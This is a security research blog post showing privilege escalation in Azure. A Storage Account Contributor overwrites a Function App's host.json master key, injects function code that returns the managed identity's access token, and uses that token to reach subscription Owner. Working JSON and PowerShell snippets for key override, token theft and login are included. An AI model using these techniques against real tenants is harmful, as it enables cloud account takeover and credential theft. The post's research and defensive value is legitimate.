Privilege Escalation via storage accounts
In this blog I will explain the risk of storage accounts and how to abuse them for lateral movement.
Looking at the title of this blog, you probably think that I was able to find a set of credentials in a storage account and used these to login to the victims environment. Well No…
Okay, but in that case a storage account has no managed identity nor a credential object that we can abuse, so how would that work?
Good Question 👍
Starting the journey
I won’t go in to the nitty gritty details of a storage account and explain how they should be setup. The focus is mainly what information are you able to get from a storage account and how can this be used to escalate our privileges and eventually move lateral through the environment.
In our architecture we have the following components that are all playing a role in our part.
When creating a Function App resource in Microsoft Azure, some other resources are also created including a storage account that is used for logs and other data used by the Function App.
When opening the storage account with test my user Captain Kirk, which has the Storage Account Contributor role, we can see the associated content. What directly stands out is a folder named azure-webjobs-secrets
This definitely triggers my curiosity.
When taking a deeper look at the contents of this folder two interesting files can be found. host.json
and, in our case httpTrigger1.json
which is the name of our function within the function app.
When calling the API endpoint of an Azure Function an application key is required to trigger the function code. This so called authorization level is to protect against unauthorized users, and is configured when creating the function.
When looking at the file content of the host.json
we can see that there are values in this file for the masterKey
and the functionKeys
which can be one or more.
Luckily these values are encrypted, because we don’t want anyone to have access to a masterKey
of functionKeys
and especially not a user that has no permissions to access to the Azure function right?!
Exploiting the Function App
To add a bit more context to what we just found I will give a brief explanation of these secrets. Within a Function App multiple secrets are stored in different places. Some of these values are stored as encrypted values in the App Settings while other secrets like found previously are stored encrypted in files.
The App Keys that are used to authorize the API call can be viewed in the Azure Portal in the App Keys section of the resource. From the portal these encrypted values are decrypted when a user has the required roles or permissions.
As shown in the image of the App Keys, there is a is value to authorize on host level _master
, and another value related to the function level default
.
As discovered, the encrypted value that represent the master and default values are stored in the host.json
file found in the azure-webjobs-secrets
folder. So what would happen if we changed the masterKey
and change the encrypted
flag value from true
to false
?
{
"masterKey": {
"name": "master",
"value": "NotSecureAnymore",
"encrypted": false
},
"functionKeys": [
{
"name": "default",
"value": "CfDJ8AAAAAAAAAAAAAAAAAAAAABp7XdLiKcSmN-ujGejBHaRse1fLDpUWM0lnohMstzMWiewiMddtUU0TwfmWX5NmfkEB9TnCSDUYmn46RPEFxsPHVK0Gd2VmBFZnPMrAU-aZY6AcDNkWrZZGFFDbbi34vPgA2JufgM62sZi11_yTp2ZXI8T2FyYsTHMn8WVDZokAw",
"encrypted": true
}
],
"systemKeys": [],
"hostName": "securehats-poc.azurewebsites.net",
"instanceId": "20ea833e4800cbfe732d6cf6a72d7549",
"source": "runtime",
"decryptionKeyId": "MACHINEKEY_DecryptionKey=X1P1bNFg/zTbqIkccMCSua6MoAiAmPldiD/xl9eL9iA=;"
}
Against all expectations Azure accepted this change and after waiting for a couple of minutes the changed master
key value is also represented in the Azure Portal. Oh-No!
Now let’s check if this is actually going to work. So to see if my assumption is correct, I am first going to call the Function with the wrong credentials. As expected, this results in a 401 error (Unauthorized)
Now calling the function with our self created masterkey with the value NotSecureAnymore
and B A M it works.
Steal access token as Storage Account Contributor
As we now how can give our self permissions to call a function in a Function App, it is time to see if we can go one step further.
When using the portal experience for creating functions in a Function App, the source code is also stored in the storage account.
Instead of hosting these files in storage containers, these files are stored and in the Files shares section. The files can be found in the folder site\wwwroot\
followed by the name of the function, the actual API endpoint name of the function.
Interesting to note is that their also is a folder called .identityService
which is telling us that the Function App has a managed identity.
In the HttpTrigger1
folder we can find the source code of our function. What Captain Kirk can do now as a Storage Account Contributor is either change the existing code, or create a new function by just creating a new folder with the name of the new function. But in our case we are going to change the existing code to keep it simple.
System-assigned Managed Identity token
The authentication of the Managed Identity in a Function App is generally configured in the profile.ps1 file. this file can be found on the location site/www/root/profile.ps1
By adding the following code snippet to the function it is possible to request the Access Token of the system-assigned Managed Identity of the Function App.
$resourceURI = 'https://management.azure.com'
$apiVersion = '2019-08-01'
$tokenAuthURI = {0}?resource={1}&api-version={2} -f `
$env:IDENTITY_ENDPOINT, $resourceURI, $apiVersion
$tokenResponse = Invoke-RestMethod `
-Uri $tokenAuthURI `
-Headers @{"X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER"}
$body = $tokenResponse
More information about this can be found in the Microsoft documentation
User-assigned Managed Identity token
If a User-Assigned Managed Identity is used we need a different approach to get the access token. The first step is to find the accountId of the user-assigned managed identity. This value can also be found in the profile.ps1
file or in the function code itself.
if ($env:MSI_SECRET) {
Disable-AzContextAutosave -Scope Process | Out-Null
# System Assigned
Connect-AzAccount -Identity
# User Assigned
Connect-AzAccount -Identity -AccountId <your-client-id>
}
Once we have found what the clientId of the managed identity, we can provide this and use it to generate an access token. by adding the snippet below to the function code.
$resourceURI = 'https://management.azure.com'
$clientId = '<your-client-id>'
$apiVersion = '2019-08-01'
$tokenAuthURI = {0}?resource={1}&client_id={2}&api-version={3} -f `
$env:IDENTITY_ENDPOINT, $resourceURI, $clientId, $apiVersion
$tokenResponse = Invoke-RestMethod `
-Uri $tokenAuthURI `
-Headers @{"X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER"}
$body = $tokenResponse
If everything works as expected we will get an access token when calling the the function from our local machine. And remember, we are still Captain Kirk with only the Reader and the Storage Account Contributor role assigned.
As we can see, by modifying the host.json
file and the source code files in the storage account, we are able to get an access token that can be used for lateral movement.
Abusing the Access Token
After requesting the access token for the the Function App we can start digging deeper in the environment. The first thing that we want to know is what Role Assignment the managed identity has.
To get this information we need to have the principalId
of our managed identity. We can either modify our function code to retrieve this information, or use the acquired access token to login from our local machine. In this case I will will use my local machine and authenticate with the access token.
Connect-AzAccount `
-AccessToken $response.access_token `
-AccountId $response.client_id
From a logging perspective, we are now logged in as the managed identity which makes it hard for a security analyst to detect that it is actually a bad actor that has now logged in.
Once the connection to the Azure environment has been established we can retrieve the principalId
of our account.
(Get-AzResource -Name 'securehats-poc' `
-ResourceType 'Microsoft.Web/sites').identity.userassignedIdentities
Owh but that is Cool! we have now found out that our Function App has multiple managed identities assigned. For now we are interested in the first principalId
value that belongs to our clientId.
Now that we have this value we can explore the assigned permissions by entering the code shown below.
Get-AzRoleAssignment -ObjectId <principalId>
If you were unable to get a principalId value, it probably means that the managed identity has limited permissions on resources. In that case it is still possible to check the permissions.
Get-AzRoleassignment
Our managed identity has both Contributor permissions on subscription level and Key Vault Contributor permissions. But as we have noticed in the there was also another managed identity associated to this Function App. Let's see what permissions this has.
Bingo! Captain Kirk now has access to an account with Owner permissions on the subscription and is therefor king of our castle.
If you want to use the API endpoints of Azure, it is also possible to create a HTTP header containing the access token.
$header = @{
Authorization = "Bearer $($tokenResponse.access_token)"
}
$mngtURI = 'https://management.azure.com'
$endpoint = 'subscriptions'
$apiVersion = '2022-06-01'
$uri = {0}/{1}?api-version={2} -f $$mngtURI, $endpoint, $apiVersion
Invoke-RestMethod -Uri $uri -Headers $headers